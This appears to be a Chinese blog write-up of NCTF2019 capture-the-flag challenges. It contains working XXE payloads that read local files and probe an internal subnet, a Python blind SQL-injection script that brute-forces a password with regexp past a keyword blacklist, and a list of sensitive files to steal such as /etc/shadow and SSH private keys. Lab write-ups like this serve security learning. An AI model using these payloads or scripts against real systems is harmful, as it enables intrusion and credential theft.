友情提示:本文最后更新于 434 天前,文中的内容可能已有所发展或发生改变。 [NCTF2019]Fake XML cookbook 登录的时候抓包一看这不就是xxe嘛
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
Request:
POST /doLogin.php HTTP/1.1
Host: 3fdddced-f473-4d1e-86ac-2ff88fc97627.node5.buuoj.cn:81
Content-Length: 57
Accept: application/xml, text/xml, */*; q=0.01
X-Requested-With: XMLHttpRequest
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/128.0.0.0 Safari/537.36
Content-Type: application/xml;charset=UTF-8
Origin: http://3fdddced-f473-4d1e-86ac-2ff88fc97627.node5.buuoj.cn:81
Referer: http://3fdddced-f473-4d1e-86ac-2ff88fc97627.node5.buuoj.cn:81/
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9,en;q=0.8
Connection: close
<user><username>1</username><password>1</password></user>
写个poc,最简单的应该算是
1
2
3
4
5
6
7
8
<?xml version="1.0" ?>
<!DOCTYPE llw [
<!ENTITY file SYSTEM "file:///flag">
]>
<user>
<username> &file; </username>
<password> 1</password>
</user>
[NCTF2019]SQLi 扫描出来,访问robots.txt
1
2
User-agent: *
Disallow: /hint.txt
hint.txt
1
2
3
4
5
6
$ black_list = "/limit|by|substr|mid|,|admin|benchmark|like|or|char|union|substring|select|greatest|%00|\'|=| |in|<|>|-|\.|\(\)|#|and|if|database|users|where|table|concat|insert|join|having|sleep/i" ;
If $ _POST [ 'passwd' ] === admin 's password,
Then you will get the flag;
查看源代码发现
1
select * from users where username = '' and passwd = ''
过滤了挺多的东西,这里使用
/**/绕过空格,然后%00当注释
在使用\转义一个引号
1
select * from users where username = '\' and passwd = '||1;%00'
这里的判断语句要根据状态码?,不知道,继续看,那么我们要爆出密码来
这里使用一个正则的姿势
1
select * from users where username = '\' and passwd = '||passwd/**/regexp/**/"^a";%00'
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
Request:
POST /index.php HTTP/1.1
Host: 6ffc007b-7d5d-4460-9bdd-e8d362d38d81.node5.buuoj.cn:81
Content-Length: 48
Cache-Control: max-age=0
Upgrade-Insecure-Requests: 1
Origin: http://6ffc007b-7d5d-4460-9bdd-e8d362d38d81.node5.buuoj.cn:81
Content-Type: application/x-www-form-urlencoded
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/128.0.0.0 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Referer: http://6ffc007b-7d5d-4460-9bdd-e8d362d38d81.node5.buuoj.cn:81/
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9,en;q=0.8
Connection: close
username=\&passwd=||passwd/**/regexp/**/"^y";%00
回显
1
2
3
4
5
6
7
8
9
10
11
Response:
HTTP/1.1 302 Found
Server: openresty
Date: Sun, 15 Sep 2024 08:02:32 GMT
Content-Type: text/html; charset=UTF-8
Content-Length: 2249
Connection: close
X-Powered-By: PHP/5.6.40
location: welcome.php
Cache-Control: no-cache
也就是说我们可以使用welcome来判断
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
import requests
from urllib import parse
import time
strings = 'abcdefghijklmnopqrstuvwxyz1234567890_ {} -~'
# 不用大写
url = 'http://6ffc007b-7d5d-4460-9bdd-e8d362d38d81.node5.buuoj.cn:81/index.php'
passwd = ""
i = 0
while i < 80 :
for one_char in strings :
data = {
'username' : ' \\ ' , # 一个斜杠不能达到效果
'passwd' : '||/**/passwd/**/regexp/**/ \" ^' + passwd + one_char + ' \" ;' + parse . unquote ( '%00' ) #在python中对url进行解码
# 实现"^字符串"
}
rs = requests . post ( url , data ) . content . decode ( 'utf-8' )
# 必须把响应包解码
time . sleep ( 0.01 )
if 'welcome' in rs :
passwd += one_char
print ( " \r " , end = "" ) #动态更新内容(进度条)
print ( '已匹配到前' + str ( i + 1 ) + '位' + ' | ' + str ( passwd ), end = '' )
i += 1
break
if one_char == '~' and 'welcome' not in rs :
print ( ' \n 密码共' + str ( i ) + '位,已匹配完成' )
i = 80
break
爆破出来之后,只能在bp里面发包才行,不然是不成功的
[NCTF2019]True XML cookbook 本人xxe也不好,但是这道题应该的考点就是读取敏感文件
/etc/passwd
/etc/shadow
/etc/hosts
/root/.bash_history //root的bash历史记录
/root/.ssh/authorized_keys
/root/.mysql_history //mysql的bash历史记录
/root/.wget-hsts
/opt/nginx/conf/nginx.conf //nginx的配置文件
/var/www/html/index.html
/etc/my.cnf
/etc/httpd/conf/httpd.conf //httpd的配置文件
/proc/self/fd/fd[0-9]*(文件标识符)
/proc/mounts
/porc/config.gz
/proc/sched_debug // 提供cpu上正在运行的进程信息,可以获得进程的pid号,可以配合后面需要pid的利用
/proc/mounts // 挂载的文件系统列表
/proc/net/arp //arp表,可以获得内网其他机器的地址
/proc/net/route //路由表信息
/proc/net/tcp and /proc/net/udp // 活动连接的信息
/proc/net/fib_trie // 路由缓存
/proc/version // 内核版本
/proc/[PID]/cmdline // 可能包含有用的路径信息
/proc/[PID]/environ // 程序运行的环境变量信息,可以用来包含getshell
/proc/[PID]/cwd // 当前进程的工作目录
/proc/[PID]/fd/[#] // 访问file descriptors,某写情况可以读取到进程正在使用的文件,比如access.log
ssh
/root/.ssh/id_rsa
/root/.ssh/id_rsa.pub
/root/.ssh/authorized_keys
/etc/ssh/sshd_config
/var/log/secure
/etc/sysconfig/network-scripts/ifcfg-eth0
/etc/syscomfig/network-scripts/ifcfg-eth1
/etc/hosts
/proc/net/arp
/proc/net/tcp
/proc/net/udp
/proc/net/dev
/proc/net/fib_trie
那么写个poc
1
2
3
4
<!DOCTYPE foo [<!ELEMENT foo ANY >
<!ENTITY file SYSTEM "file:///etc/passwd">
]>
<user><username> &file; </username><password> 456</password></user>
然后貌似是没有什么东西可以用
那读取IP看看,内网里面应该有东西
1
2
3
4
<!DOCTYPE foo [<!ELEMENT foo ANY >
<!ENTITY file SYSTEM "file:///proc/net/fib_trie">
]>
<user><username> &file; </username><password> 456</password></user>
得到
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
Main:
+-- 0.0.0.0/0 3 0 5
+-- 0.0.0.0/4 2 0 2
|-- 0.0.0.0
/0 universe UNICAST
|-- 10.244.166.68
/32 host LOCAL
+-- 127.0.0.0/8 2 0 2
+-- 127.0.0.0/31 1 0 0
|-- 127.0.0.0
/8 host LOCAL
|-- 127.0.0.1
/32 host LOCAL
|-- 127.255.255.255
/32 link BROADCAST
|-- 169.254.1.1
/32 link UNICAST
Local:
+-- 0.0.0.0/0 3 0 5
+-- 0.0.0.0/4 2 0 2
|-- 0.0.0.0
/0 universe UNICAST
|-- 10.244.166.68
/32 host LOCAL
+-- 127.0.0.0/8 2 0 2
+-- 127.0.0.0/31 1 0 0
|-- 127.0.0.0
/8 host LOCAL
|-- 127.0.0.1
/32 host LOCAL
|-- 127.255.255.255
/32 link BROADCAST
|-- 169.254.1.1
/32 link UNICAST
169.254.1.1和10.244.166.68
本来想直接用bp爆破的,但是发现直接给我卡死了
写个EXP
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
import requests
import time
url = "http://233b23f0-319d-4629-a9d4-e4075e49f8e1.node5.buuoj.cn:81/doLogin.php"
# 定义XML数据模板
data_template = '''
<!DOCTYPE foo [<!ELEMENT foo ANY >
<!ENTITY file SYSTEM "http://10.244.166. {} ">
]>
<user><username>&file;</username><password>456</password></user>
'''
# HTTP请求的头信息
headers = {
'Content-Type' : 'application/xml' ,
'User-Agent' : 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.124 Safari/537.36'
}
# 循环遍历IP地址的最后一段
for i in range ( 1 , 256 ):
# 使用模板格式化当前的IP地址
data = data_template . format ( i )
try :
# 发送 POST 请求
r = requests . post ( url = url , headers = headers , data = data , timeout = 1 )
# 打印调试信息:状态码和响应内容
print ( f "Trying IP: 10.244.166. { i } -> Status Code: { r . status_code } " )
# 检查响应内容中是否包含flag标志
if 'flag{' in r . text :
print ( f "Flag found at 10.244.166. { i } : { r . text } " )
break # 找到flag后退出循环
else :
print ( f "10.244.166. { i } : No flag found." )
except requests . exceptions . Timeout :
# 处理请求超时的情况
print ( f "Timeout occurred at 10.244.166. { i } , skipping." )
except requests . exceptions . RequestException as e :
# 捕获其他网络相关错误
print ( f "An error occurred at 10.244.166. { i } : { e } " )
# 等待0.3秒以避免请求过快,过于频繁可能会触发限速机制
time . sleep ( 0.3 )
中途写脚本的时候始终跑不起来,超时504,后面加了一个捕捉错误就可以了
[NCTF2019]phar matches everything 这道题涉及的不会的有点多,先欠着